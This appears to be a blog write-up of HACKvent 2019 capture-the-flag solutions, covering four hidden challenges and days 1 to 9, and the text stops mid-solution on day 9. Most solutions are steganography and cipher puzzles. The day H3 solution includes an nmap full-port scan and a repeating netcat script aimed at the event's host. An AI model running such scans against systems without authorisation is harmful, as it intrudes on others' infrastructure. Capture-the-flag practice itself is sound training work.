This year’s HACKvent was hosted on the brand new Hacking-Lab 2.0 plattform. Each day from the 1st of december until the 24th a new challenge is published raising in difficulty. The flag format changed from HV18-xxxx-xxxx-xxxx-xxxx-xxxx to HV19{...} . After all I managed to solve all 28 challenges š |
return to overview ⇧
HV19.H1 – Hidden One
Author: hidden | |
Sometimes, there are hidden flags. Got your first? |
The challenge is hidden in the challenge of day06:
If we inspect the data carefully, we can notice that after each entry there are additional tabs and spaces:
Born: January 22
Died: April 9
Mother: Lady Anne
Father: Sir Nicholas
Secrets: unknown
After a little bit of googling I stumbled upon stegsnow:
Born:\x20January\x2022\x09\x20\x20\x20\x20\x20\x09\x20\x09\x20\x20\x20\x09\x20\x20\x20\x09\x20\x09\x20\x20\x20\x20\x20\x20\x20\x09\x20\x20\x20\x20\x20\x09\x20\x20\x09\x20\x20
Died:\x20April\x209\x20\x20\x20\x09\x20\x20\x09\x20\x09\x20\x20\x20\x20\x09\x20\x20\x09\x20\x20\x20\x20\x20\x20\x09\x20\x20\x20\x09\x09\x20\x20\x09\x20\x20
Mother:\x20Lady\x20Anne\x20\x20\x20\x09\x09\x20\x09\x20\x20\x20\x09\x20\x20\x20\x09\x20\x20\x20\x20\x20\x20\x09\x20\x20\x09\x20\x20\x20\x20\x20\x20\x09\x20\x20
Father:\x20Sir\x20Nicholas\x09\x20\x09\x20\x20\x20\x20\x20\x20\x09\x09\x20\x20\x20\x20\x09\x20\x20\x20\x20\x09\x20\x20\x09\x20\x20\x09\x20\x20\x20\x20\x20\x20\x09\x20\x20\x20\x20\x20\x20
Secrets:\x20unknown\x20\x20\x20\x20\x20\x20\x09\x20\x09\x20\x20\x09\x20\x09\x20\x20\x20\x20\x09\x20\x20\x20\x20\x09\x20\x20\x20\x09\x20\x20\x20\x20\x20\x20\x20\x09\x20\x20
stegsnow is a program for concealing messages in text files by appending tabs and spaces
on the end of lines, and for extracting messages from files containing hidden messages.
Tabs and spaces are invisible to most text viewers, hence the steganographic nature of
this encoding scheme.
By copy&pasting the contents of the box (click on the icon in the upper right corner) to a file, we can easily extract the hidden flag:
root@kali:~/hv19/hidden01# stegsnow -C hidden.txt HV19{1stHiddenFound}
The flag is HV19{1stHiddenFound}.
return to overview ⇧
HV19.H2 – Hidden Two
Author: inik | |
Again a hidden flag. |
The flag is hidden in the name of the
.mp4
file from the challenge of day07:
root@kali:~/hv19/07# unzip 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip Archive: 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip inflating: 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4
The
Magic
tool of CyberChef quickly reveals that the filename contains the base58-encoded flag:
Of course this can also be done using python:
root@kali:~/hv19/07# pip install base58 ... root@kali:~/hv19/07# python Python 2.7.16 (default, Apr 6 2019, 01:42:57) [GCC 8.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import base58 >>> base58.b58decode('3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v') 'HV19{Dont_confuse_0_and_O}'
The flag is HV19{Dont_confuse_0_and_O}.
return to overview ⇧
HV19.H3 – Hidden Three
Author: M. / inik | |
Not each quote is compl |
Since the challenge is in the category
Penetration Testing
, let’s run a full nmap scan on the whale.hacking-lab.com
host:
root@kali:~/hv19/hidden03# nmap whale.hacking-lab.com -p- Nmap scan report for urb80-74-140-188.ch-meta.net (80.74.140.188) Host is up (2.2s latency). Not shown: 65527 filtered ports PORT STATE SERVICE 17/tcp open qotd 22/tcp open ssh 80/tcp closed http 443/tcp closed https 2222/tcp closed EtherNetIP-1 4444/tcp closed krb524 5555/tcp closed freeciv 10101/tcp open ezmeeting-2 Nmap done: 1 IP address (1 host up) scanned in 3504.09 seconds
Very suspicious is the open
tcp port 17
. The service behind this is called Quote of the Day (QOTD), which perfectly fits the challenge’s description. The service is quite simple: accept a tcp connection, send a random quote, close connection. So let’s have a look using netcat
:
root@kali:~/hv19/hidden03# nc -v whale.hacking-lab.com 17 Connection to whale.hacking-lab.com 17 port [tcp/qotd] succeeded! r
The server only echoed the letter
r
. After trying out different approaches I recognized (approximately one hour later), that the server now returns the letter _
:
root@kali:~/hv19/hidden03# nc -v whale.hacking-lab.com 17 Connection to whale.hacking-lab.com 17 port [tcp/qotd] succeeded! _
Actually this seems to be the flag, which is echoed back from the server very slow (a letter an hour). So we just have to create a little bash script, which retrieves the letter from the server each hour (I set it to 10 minutes just in case) and wait … :
root@kali:~/hv19/hidden03# cat quote.sh #!/bin/bash while true; do (date;echo|nc 80.74.140.188 17) | tee -a flag.txt sleep 600 done;
After one day we finally get the full flag.
The flag is HV19{an0ther_DAILY_fl4g}.
return to overview ⇧
HV19.H4 – Hidden Four
Author: M. | |
No description. |
The flag is hidden in the flag of day14. It must be simply run with perl:
root@kali:~/hv19/hidden04# cat flag_14.pl s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee root@kali:~/hv19/hidden04# perl flag_14.pl Squ4ring the Circle
The flag is HV19{Squ4ring the Circle}.
return to overview ⇧
HV19.01 – censored
Author: M | |
I got this little image, but it looks like the best part got censored on the way. Even the tiny preview icon looks clearer than this! Maybe they missed something that would let you restore the original content? |
The first challenge of this year provides an image of a blurry QR code as well as a hint that the tiny preview icon looks clearer than this.
Running
exiftool
on the image reveals that there is actually a thumbnail image included in the file:
root@kali:~/hv19/01# exiftool f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg ExifTool Version Number : 11.16 File Name : f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg ... Thumbnail Image : (Binary data 5336 bytes, use -b option to extract)
The thumbnail image can be extracted using the
-b
option of exiftool
and additionally providing -ThumbnailImage
:
root@kali:~/hv19/01# exiftool -b -ThumbnailImage f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg > thumbnail.jpg
The extracted thumbnail looks like this:
In order to be able to scan the QR code, we should delete the christmas tree ball around the QR code:
Now the QR code can be scanned eg. using
zbarimg
:
root@kali:~/hv19/01# zbarimg thumbnail_edited.jpg QR-Code:HV19{just-4-PREview!} scanned 1 barcode symbols from 1 images in 0.03 seconds
The flag is HV19{just-4-PREview!}.
return to overview ⇧
HV19.02 – Triangulation
Author: drschottky | |
Today we give away decorations for your Christmas tree. But be careful and do not break it.
HV19.02-Triangulation.zip |
The challenge provides a zip file, which contains an
stl
file:
root@kali:~/hv19/02# unzip a5f47ab8-f151-4741-b061-d2ab331bf641.zip Archive: a5f47ab8-f151-4741-b061-d2ab331bf641.zip inflating: Triangulation.stl
stl
files can be represented in both ASCII and binary. In this case we are dealing with a binary file:
root@kali:~/hv19/02# file Triangulation.stl Triangulation.stl: data root@kali:~/hv19/02# hexdump -C Triangulation.stl | head 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000050 58 20 00 00 61 d9 9b 3e 81 9b 65 bf f7 3e a4 be |X ..a..>..e..>..| 00000060 c5 20 38 41 74 dc 15 40 81 95 13 42 3d 0a 37 41 |. 8At..@...B=.7A| 00000070 57 3d 13 40 b4 c8 13 42 06 81 13 41 cb a1 e5 3f |W=.@...B...A...?| 00000080 1f 05 11 42 00 00 fe eb 71 3f c0 33 7e 3d 27 68 |...B....q?.3~='h| 00000090 a4 3e a8 c6 d0 41 00 00 d0 41 8d 17 5b 42 27 31 |.>...A...A..[B'1| 000000a0 d9 41 00 00 d0 41 3f b5 4e 42 37 89 d7 41 4c 37 |.A...A?.NB7..AL7| 000000b0 e9 41 3f b5 4e 42 00 00 31 a6 f8 3e 00 00 00 00 |.A?.NB..1..>....| 000000c0 c5 c8 5f 3f 66 66 3a 41 a6 af 85 40 77 3e 13 42 |.._?ff:A...@w>.B|
In order to process the file more easily, let’s convert it to ASCII using convertSTL:
root@kali:~/hv19/02# git clone https://github.com/cmpolis/convertSTL Cloning into 'convertSTL'... remote: Enumerating objects: 10, done. remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10 Unpacking objects: 100% (10/10), done. root@kali:~/hv19/02# ./convertSTL/convertSTL.rb Triangulation.stl Triangulation.stl is in BINARY format, converting to ASCII: Triangulation-ascii.stl
Now the content can be read a little bit more easily:
root@kali:~/hv19/02# head -n 20 Triangulation-ascii.stl solid facet normal 3.043928E-01 -8.969041E-01 -3.207929E-01 outer loop vertex 1.150800E+01 2.341580E+00 3.689600E+01 vertex 1.144000E+01 2.300619E+00 3.694600E+01 vertex 9.219000E+00 1.794000E+00 3.625500E+01 endloop endfacet facet normal 9.450072E-01 6.206107E-02 3.211071E-01 outer loop vertex 2.609700E+01 2.600000E+01 5.477300E+01 vertex 2.714900E+01 2.600000E+01 5.167700E+01 vertex 2.694200E+01 2.915200E+01 5.167700E+01 endloop endfacet facet normal 4.856429E-01 0.000000E+00 8.741572E-01 outer loop vertex 1.165000E+01 4.177691E+00 3.681100E+01 vertex 1.157800E+01 4.138959E+00 3.685100E+01 vertex 1.165000E+01 2.420174E+00 3.681100E+01
The file defines triangles (polygons), which consist of three vertices and a facet normal. The resulting 3D-model can for example be viewed using an online viewer like www.viewstl.com:
When changing the display option to
Wireframe
, we can see that within the christmas tree ball, there seems to be the QR code we are looking for:
After filtering out different triangles and having a look at the resulting model, it turned out, that the QR code can be viewed quite good if we extract all triangles with a facet normal of
0.0 0.0 -1.0
:
#!/usr/bin/env python lines = open('Triangulation-ascii.stl').read().split('\n') print('solid') for i in range(len(lines)): line = lines[i] if ('facet normal 0.000000E+00 0.000000E+00 -1.000000E+00' in line): print('\n'.join(lines[i:i+7])) print('endsolid')
root@kali:~/hv19/02# ./extractQR.py > qrcode.stl
The resulting model looks like this (QR code moved to the center and color turned to black):
The QR code can for example be scanned using zxing.org:
The flag is HV19{Cr4ck_Th3_B411!}.
return to overview ⇧
HV19.03 – Hodor, Hodor, Hodor
Author: otaku feat. trolli101 | |
$HODOR: hhodor. Hodor. Hodor!? = `hodor?!? HODOR!? hodor? Hodor oHodor. hodor? , HODOR!?! ohodor!? dhodor? hodor odhodor? d HodorHodor Hodor!? HODOR HODOR? hodor! hodor!? HODOR hodor! hodor? ! |
Googling for
hodor language
reveals this page: www.hodor-lang.org.
Accordingly we only have to install the npm package
hodor-lang
…
root@kali:~/hv19/03# npm install -g hodor-lang /usr/local/bin/hodor -> /usr/local/lib/node_modules/hodor-lang/bin/hodor /usr/local/bin/js2hd -> /usr/local/lib/node_modules/hodor-lang/bin/js2hd + hodor-lang@1.0.2 added 54 packages from 41 contributors in 2.283s
… and run the provided program:
root@kali:~/hv19/03# hodor hv03.hd HODOR: \-> hv03.hd Awesome, you decoded Hodors language! As sis a real h4xx0r he loves base64 as well. SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=
Base64-decoding the output string yields the flag:
root@kali:~/hv19/03# echo SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=|base64 -d HV19{h01d-th3-d00r-4204-ld4Y}
The flag is HV19{h01d-th3-d00r-4204-ld4Y}.
return to overview ⇧
HV19.04 – password policy circumvention
Author: DanMcFly | |
Santa released a new password policy (more than 40 characters, upper, lower, digit, special).
The elves can’t remember such long passwords, so they found a way to continue to use their old (bad) password: merry christmas geeksHV19-PPC.zip |
The provided zip archive contains a AutoHotkey file (
.ahk
):
root@kali:~/hv19/04# unzip 6473254e-1cb3-444e-9dac-5baeaaaf6d11.zip Archive: 6473254e-1cb3-444e-9dac-5baeaaaf6d11.zip inflating: HV19-PPC.ahk root@kali:~/hv19/04# file HV19-PPC.ahk HV19-PPC.ahk: UTF-8 Unicode (with BOM) text, with CRLF line terminators root@kali:~/hv19/04# cat HV19-PPC.ahk ::merry:: FormatTime , x,, MM MMMM yyyy SendInput, %x%{left 4}{del 2}+{right 2}^c{end}{home}^v{home}V{right 2}{ASC 00123} return ::christmas:: SendInput HV19-pass-w0rd return :*?:is:: Send - {del}{right}4h :*?:as:: Send {left 8}rmmbr{end}{ASC 00125}{home}{right 10} return :*?:ee:: Send {left}{left}{del}{del}{left},{right}e{right}3{right 2}e{right}{del 5}{home}H{right 4} return :*?:ks:: Send {del}R3{right}e{right 2}3{right 2} {right 8} {right} the{right 3}t{right} 0f{right 3}{del}c{end}{left 5}{del 4} return ::xmas:: SendInput, -Hack-Vent-Xmas return ::geeks:: Send -1337-hack return
The file defines hotkeys / hotstrings which can be used with the software AutoHotkey.
When entering the password
merry christmas geeks
different hotstrings defined within the file are matched and the hotstrings are replaced with the corresponding key strokes.
If we don’t want to carry out the replacement on our own, the easiest way is to simply install AutoHotkey, load the script and enter the password.
After installing AutoHotkey on a windows machine, we can simply double-click the
.ahk
file in order to load the script.
Now we can open notepad and enter the password. One thing to notice here is that we have to wait for each replacement to be finished. Otherwise the resulting string (the flag) gets messed up because our key strokes are interpreted before the replacing key strokes were finished. Thus we enter:
merry [PAUSE]chris[PAUSE]tmas[PAUSE] gee[PAUSE]ks
Result after entering
"merry "
:
V19{12 December 19
Continuing with
"chris"
:
V19{rmmbrchr- 24h December 19}
Followed by
"tmas"
:
V19{rmmbrrmmbrctmhr- 24h December 19}}
Going on with
" gee"
:
HV19{rmmbr,rem3mber- 24h December 19}}
Finishing with
"ks"
:
HV19{R3memb3r, rem3mber - the 24th 0f December}
The flag is HV19{R3memb3r, rem3mber – the 24th 0f December}.
return to overview ⇧
HV19.05 – Santa Parcel Tracking
Author: inik | |
To handle the huge load of parcels Santa introduced this year a parcel tracking system. He didn’t like the black and white barcode, so he invented a more solemn barcode. Unfortunately the common barcode readers can’t read it anymore, it only works with the pimped models santa owns. Can you read the barcode
|
The provided barcode can for example be scanned using zxing.org:
Though this is obviously Not the solution.
Just by viewing the barcode, we can see that the color of each bar is slightly different.
In order to inspect the exact values, we can write a python script which prints the RGB value of each bar by iterating through the horizontal line of pixels and printing the first value after a white pixel (
255,255,255
):
#!/usr/bin/env python from PIL import Image im = Image.open('code.png') pix = im.load() lastWhite = False for w in range(im.size[0]): p = pix[w,10] if (p != (255,255,255)): if (lastWhite): lastWhite = False print(p) else: lastWhite = True
Running the script outputs the RGB value of each bar:
root@kali:~/hv19/05# ./extract.py (115, 80, 88) (116, 89, 56) (108, 80, 89) (109, 69, 73) (114, 49, 79) (121, 51, 70) (115, 80, 48) (101, 81, 90) (103, 56, 80) (122, 57, 52) (117, 76, 83) (104, 84, 56) ...
The value for black would be
(0,0,0)
, but these values are quite higher. Also the values look suspiciously matching in the ASCII range. Accordingly, let’s extract the value for each channel (R,G,B
) and see if we can find something useful if we interpret the values as ASCII characters. In order to do this, only a slight adjustment of the former script is required:
#!/usr/bin/env python from PIL import Image im = Image.open('code.png') pix = im.load() lastWhite = False r = ''; g = ''; b = '' for w in range(im.size[0]): p = pix[w,10] if (p != (255,255,255)): if (lastWhite): lastWhite = False r += chr(p[0]) g += chr(p[1]) b += chr(p[2]) else: lastWhite = True print(r) print(g) print(b)
Running the script …
root@kali:~/hv19/05# ./extractASCII.py stlmrysegzuhezagltlgxzgjiivvssaiewbtuhalqclfqrcwfqvengxekoaltyve PYPE13PQ89LTG0X0OOJJIIUSHQ60MIQI4S9EG48NVVP65GOXL0VWJW2323SRU8BB X8YIOF0ZP4S8HV19{D1fficult_to_g3t_a_SPT_R3ader}S1090OMZE0E3NFP6E
… actually yields the flag within the
B
channel!
The flag is HV19{D1fficult_to_g3t_a_SPT_R3ader}.
return to overview ⇧
HV19.06 – bacon and eggs
Author: T.B. | |
Francis Bacon was an English philosopher and statesman who served as Attorney General and as Lord Chancellor of England. His works are credited with developing the scientific method and remained influential through the scientific revolution.
|
The challenge is in the crypto category and the mentioned Francis Bacon devised a cipher called Bacon’s cipher.
The Bacon’s cipher maps 5-bit on a single letter (eg.
01010 --> K
). These bits can be encoded within a text by using different font-styles for subsequent letters. An emphasized letter is mapped to 1
and a non-emphasized letter to 0
. Applying this to the above text the first letter (F
) is emphasized (–> 1
), the next two letters (ra
) are not (–> 100
), the next one (n
) is emphasized again (–> 1001
) and so forth.
Notice that we have to remove any non-alpha characters from the text beforehand. The following python script reads the input text (stored in
text.txt
) and separates the text in emphasized and non-emphasized letters by splitting it using the <em>
and </em>
tags. After this all non-alpha characters are removed and the emphasized and non-emphasized letters are replaced with 1
and 0
. Finally a space is inserted after each 5 bits:
#!/usr/bin/env python import re txt = open('text.txt').read() # use a '0' as separator txt = txt.replace('<em>','0').replace('</em>','0') # remove all non letter chars (also keep separator) txt = re.sub('[^a-zA-Z0]', '', txt) # split by separator a = txt.split('0')[1:] ct = '' for i in range(len(a)): if (i%2 == 0): ct += '1'*len(a[i]) else: ct += '0'*len(a[i]) ct = re.sub('(.{5})', '\\1 ', ct, 0, re.DOTALL) print(ct)
Running the script yields the ciphertext:
root@kali:~/hv19/06# ./extract.py 10010 00000 01101 10011 00000 01011 01000 01010 00100 10010 00111 01000 10010 00001 00000 00010 01110 01101 00001 10100 10011 00000 01011 10010 01110 10011 00111 01000 10010 00001 00000 00010 01110 01101 10011 00111 00100 01111 00000 10010 10010 10110 01110 10001 00011 01000 10010 00111 10101 10111 00001 00000 00010 01110 01101 00010 01000 01111 00111 00100 10001 01000 10010 10010 01000 01100 01111 01011 00100 00001 10100 10011 00010 01110 01110 01011 10111 10001 00100 01111 01011 00000 00010 00100 10111 10110 01000 10011 00111 00001 10001 00000 00010 01010 00100 10011 10010 00000 01101 00011 10100 10010 00100 10100 01111 01111 00100 10001 00010 00000 10010 00100 00101 01110 10001 00000 01011 01011 00010 00111 00000 10001 00000 00010 10011 00100 10001 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000
The end of the text does not contain actual ciphertext anymore, which means that we can ignore the
00000
at the end.
Now we can for example use CyberChef to decrypt the ciphertext:
The plaintext is
SANTALIKESHISBACONBUTALSOTHISBACONTHEPASSWORDISHVXBACONCIPHERISSIMPLEBUTCOOLXREPLACEXWITHBRACKETSANDUSEUPPERCASEFORALLCHARACTER
.
Please notice that we also have to insert
19
after HV
at the beginning of the flag.
The flag is HV19{BACONCIPHERISSIMPLEBUTCOOL}.
return to overview ⇧
HV19.07 – Santa Rider
Author: inik | |
Santa is prototyping a new gadget for his sledge. Unfortunately it still has some glitches, but look for yourself.
For easy download, get it here: HV19-SantaRider.zip |
The provided zip archive contains the mp4 video visible in the above screenshot:
root@kali:~/hv19/07# unzip 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip Archive: 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip inflating: 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 root@kali:~/hv19/07# file 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4: ISO Media, MP4 Base Media v1 [IS0 14496-12:2003]
At the beginning and the end of the video, the LEDs light up one after another in a smooth rhythm. Though in the middle of the video, different LEDs are lighting up in a quick transition.
In order to inspect the patterns in which the LEDs are lighting up, we start by extracting all frames of the video using
ffmpeg
:
root@kali:~/hv19/07# ffmpeg -ss 00:00 -i 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 -t 23:00 mov%05d.png ffmpeg version 4.1.3-1 Copyright (c) 2000-2019 the FFmpeg developers built with gcc 8 (Debian 8.3.0-7) configuration: --prefix=/usr --extra-version=1 --toolchain=hardened ... libavutil 56. 22.100 / 56. 22.100 libavcodec 58. 35.100 / 58. 35.100 libavformat 58. 20.100 / 58. 20.100 libavdevice 58. 5.100 / 58. 5.100 libavfilter 7. 40.101 / 7. 40.101 libavresample 4. 0. 0 / 4. 0. 0 libswscale 5. 3.100 / 5. 3.100 libswresample 3. 3.100 / 3. 3.100 libpostproc 55. 3.100 / 55. 3.100 Input #0, mov,mp4,m4a,3gp,3g2,mj2, from '3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4': Metadata: major_brand : isom minor_version : 512 compatible_brands: isomiso2avc1mp41 encoder : Lavf58.20.100 Duration: 00:00:22.59, start: 0.000000, bitrate: 925 kb/s Stream #0:0(und): Video: h264 (High) (avc1 / 0x31637661), yuv420p(tv, bt709/unknown/bt709), 1280x720 [SAR 1:1 DAR 16:9], 914 kb/s, 30 fps, 30 tbr, 15360 tbn, 60 tbc (default) Metadata: handler_name : VideoHandler Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 2 kb/s (default) Metadata: handler_name : SoundHandler Stream mapping: Stream #0:0 -> #0:0 (h264 (native) -> png (native)) Press [q] to stop, [?] for help Output #0, image2, to 'mov%05d.png': Metadata: major_brand : isom minor_version : 512 compatible_brands: isomiso2avc1mp41 encoder : Lavf58.20.100 Stream #0:0(und): Video: png, rgb24, 1280x720 [SAR 1:1 DAR 16:9], q=2-31, 200 kb/s, 30 fps, 30 tbn, 30 tbc (default) Metadata: handler_name : VideoHandler encoder : Lavc58.35.100 png frame= 677 fps= 13 q=-0.0 Lsize=N/A time=00:00:22.56 bitrate=N/A speed=0.422x video:479218kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: unknown
Now we can calmly inspect each frame. The irregular lighting begins approximately at frame 272:
Since there are 8 LEDs the assumption seems likely that each LED is a single bit in a byte. The first lightning pattern is
01001000
, which is ASCII for H
. The next is 01010110
, which in turn is ASCII for V
. This should be the flag š Thus let’s write down all patterns (also writing down the frame number helps debugging if a single character seems wrong):
After writing down all patterns, the following python script extracts the bit string of each line creating an ASCII string:
01001000 272
01010110 275
00110001 280
00111001 283
01111011 286
00110001 290
01101101 293
01011111 295
01100001 298
01101100 301
01110011 304
00110000 307
01011111 311
01110111 314
00110000 317
01110010 319
01101011 323
00110001 326
01101110 329
01100111 332
01011111 335
00110000 338
01101110 340
01011111 344
01100001 347
01011111 350
01110010 354
00110011 356
01101101 358
00110000 361
01110100 365
00110011 367
01011111 371
01100011 374
00110000 376
01101110 380
01110100 383
01110010 385
00110000 389
01101100 391
01111101 394
#!/usr/bin/env python lines = open('flag.txt').read().split('\n') fl = '' for line in lines[:-1]: bitstr = line.split(' ')[0] fl += chr(int(bitstr,2)) print(fl)
Running the script yields the flag:
root@kali:~/hv19/07# ./printFlag.py HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}
The flag is HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}.
return to overview ⇧
HV19.08 – SmileNcryptor 4.0
Author: otaku | |
You hacked into the system of very-secure-shopping.com and you found a SQL-Dump with $$-creditcards numbers. As a good hacker you inform the company from which you got the dump. The managers tell you that they don’t worry, because the data is encrypted.
Dump-File: dump.zip Analyze the “Encryption”-method and try to decrypt the flag. |
The provided zip archive contains a mysql dump:
root@kali:~/hv19/08# unzip c635204a-6347-45d7-91f8-bd7b94b111f1.zip Archive: c635204a-6347-45d7-91f8-bd7b94b111f1.zip inflating: dump.sql root@kali:~/hv19/08# file dump.sql dump.sql: ASCII text, with CRLF line terminators root@kali:~/hv19/08# cat dump.sql -- MySQL dump 10.13 Distrib 5.7.19, for Win64 (x86_64) ... CREATE TABLE `creditcards` ( `cc_id` int(11) NOT NULL AUTO_INCREMENT, `cc_owner` varchar(64) DEFAULT NULL, `cc_number` varchar(32) DEFAULT NULL, `cc_expires` varchar(7) DEFAULT NULL, PRIMARY KEY (`cc_id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; ... INSERT INTO `creditcards` VALUES (1,'Sirius Black',':)QVXSZUVY\ZYYZ[a','12/2020'), (2,'Hermione Granger',':)QOUW[VT^VY]bZ_','04/2021'), (3,'Draco Malfoy',':)SPPVSSYVV\YY_\\]','05/2020'), (4,'Severus Snape',':)RPQRSTUVWXYZ[\]^','10/2020'), (5,'Ron Weasley',':)QTVWRSVUXW[_Z`\b','11/2020'); ... CREATE TABLE `flags` ( `flag_id` int(11) NOT NULL AUTO_INCREMENT, `flag_prefix` varchar(5) NOT NULL, `flag_content` varchar(29) NOT NULL, `flag_suffix` varchar(1) NOT NULL, PRIMARY KEY (`flag_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; ... INSERT INTO `flags` VALUES (1,'HV19{',':)SlQRUPXWVo\Vuv_n_\ajjce','}'); ...
The encrypted data begins with a smiley (
:)
) followed by upper case letters, which at the end of the data turn into special characters and lower case letters.
Actually this observation is very essential. Assuming that there is a one-to-one mapping from each byte of the encrypted data to an ASCII number of the creditcard numbers, there must be some kind of shift after each byte because the value of the bytes get bigger and bigger to the end of the data.
For the first byte of the creditcards data there are three different values:
Q (0x51)
, R (0x52)
and S (0x53)
. Assuming that these must be mapped to a digit from 0 (0x30)
to 9 (0x39)
the offset must be between 0x53 - 0x39 = 26
and 0x51 - 0x30 = 33
.
As already stated because of the observed shift, we increase the offset for each byte by one. After trying out the different offsets beginning from
26
, we obviously get a hit at 30
using the following python script:
#!/usr/bin/env python cc1 = 'QVXSZUVY\\ZYYZ[a' cc2 = 'QOUW[VT^VY]bZ_' cc3 = 'SPPVSSYVV\\YY_\\\\]' cc4 = 'RPQRSTUVWXYZ[\\]^' cc5 = 'QTVWRSVUXW[_Z`\\b' flag = 'SlQRUPXWVo\\Vuv_n_\\ajjce' enc = [cc1,cc2,cc3,cc4,cc5,flag] for x in range(26,34): print('offset = ' + str(x)) for e in enc: dec = '' for i in range(len(e)): c = e[i] dec += chr(ord(c)-(x+i)) print(dec) print('')
Running the script:
root@kali:~/hv19/08# ./crack.py offset = 26 7;<6<668:754449 749:=74=469=48 9549549549549544 8555555555555555 79::4464647:4949 9Q5571864L81OO7E515=<45 offset = 27 6:;5;5579643338 6389<63<358<37 8438438438438433 7444444444444444 6899335353693838 8P4460753K70NN6D404<;34 offset = 28 59:4:4468532227 5278;52;247;26 7327327327327322 6333333333333333 5788224242582727 7O335/642J6/MM5C3/3;:23 offset = 29 489393357421116 4167:41:136:15 6216216216216211 5222222222222222 4677113131471616 6N224.531I5.LL4B2.2:912 offset = 30 378282246310005 30569309025904 5105105105105100 4111111111111111 3566002020360505 5M113-420H4-KK3A1-19801 offset = 31 26717113520///4 2/4582/8/148/3 40/40/40/40/40// 3000000000000000 2455//1/1/25/4/4 4L002,31/G3,JJ2@0,087/0 offset = 32 1560600241/...3 1.3471.7.037.2 3/.3/.3/.3/.3/.. 2/////////////// 1344..0.0.14.3.3 3K//1+20.F2+II1?/+/76./ offset = 33 045/5//130.---2 0-2360-6-/26-1 2.-2.-2.-2.-2.-- 1............... 0233--/-/-03-2-2 2J..0*1/-E1*HH0>.*.65-.As we can see clearly, only the offset
30
results in 5 valid creditcard numbers as well as the flag.
The flag is HV19{5M113-420H4-KK3A1-19801}.
return to overview ⇧
HV19.09 – Santas Quick Response 3.0
Author: brp64 feat. M. | |
Visiting the following railway station has left lasting memories.
Santas brand new gifts distribution system is heavily inspired by it. Here is your personal gift, can you extract the destination path of it? |
The first insight can be gained by using google’s image search on the first image, which leads to the wikipedia article of rule 30.
The second major observation is related to the second image, the obviously invalid QR code. Although the major part of the QR code seems to be messed up, the squares in the upper left and upper right corner seem to be untouched. Combining this with the layout of the evolution diagram of rule 30 …
… raises the question if the QR code might be transformed using the rule 30 pyramid.
Initially I wrote a python script, which reads the invalid QR code into a two dimensional array (for further processing) and prints it as ASCII:
root@kali:~/hv19/09# cat qrcode.py #!/usr/bin/env python from PIL import Image import sys def printQR(qr): for i in range(len(qr)): for j in range(len(qr[i])): if (qr[i][j] == 1): sys.stdout.write('X') else: sys.stdout.write(' ') print('') def readImage(filename): data = [] im = Image.open(filename) pix = im.load() for h in range(2, im.size[0], 5): data.append([]) for w in range(2, im.size[1], 5): p = pix[w,h] if (p == 0 or p == (0,255)): data[len(data)-1].append(1) else: data[len(data)-1].append(0) return data qrcode = readImage('bd659aba-5ad2-4ad3-992c-6f99023792bc.png') printQR(qrcode)
Running the script outputs the QR code as ASCII:
root@kali:~/hv19/09# ./qrcode.py XXXXXXX X X XX XXX XXXXXXX X X XX XX XXXXX X X X X X XXX X XX X XXX XXXXX X X XXX X X XXX X XX X X X XXXX X XXX X X XXX X XXXX X XX X X XXX X X X XXXX XXXX XX X X X XXXXXXX X XX XXX X XXX XXXXXXX XXXXX XX X XX X XXXX X X X X XXXXX XXXX XX X XXX X X XX XX X X X XX X X X X XX X XXXXXXX X X XX X X X X XXX XXX XX X X X XX XXX XX XX XXX XX X X X X XX X XXX XX X X XX XXX XXX XXX XX X X X X X XXXX XXXXXX X X X X XX X X X XX XXXX X XX X X X X X XX X X X X XXXXXX XX XX X X XX XXXX X X XX X X XXX X XXX XXX X XX X XXXXX XXX X XXXXXXX XXX X X XX XX XXXX X XXXXX XXX X XX XXXX X XXX X X X X X X XXXX XXXXX X X X X X XXXXXX X XXX XX X XX X XXX X X X XX XXX X XX X X X X X X X X XXXXX XXX XX X XX XXX X X XXXX XXX X X XX XX X XX X XXX X X XXXX XXXX X XX XX XX XX X XX X X X X XX XX X X X XX XXXXX XXXX XX XXX X XXX XXXXX X XXX XXX XX XX XX X XX X
If we assume that the QR code was XORed with the rule 30 pyramid, we can take the 7th line as a reference, because it contains the timing pattern (
X-X-X-X...
). XORing the current 7th line with the line as it should actually be within a valid QR code should result in a line of the rule 30 pyramid, if your assumption is correct:
XXXXXXX X XX XXX X XXX XXXXXXX <-- 7th line invalid QR code
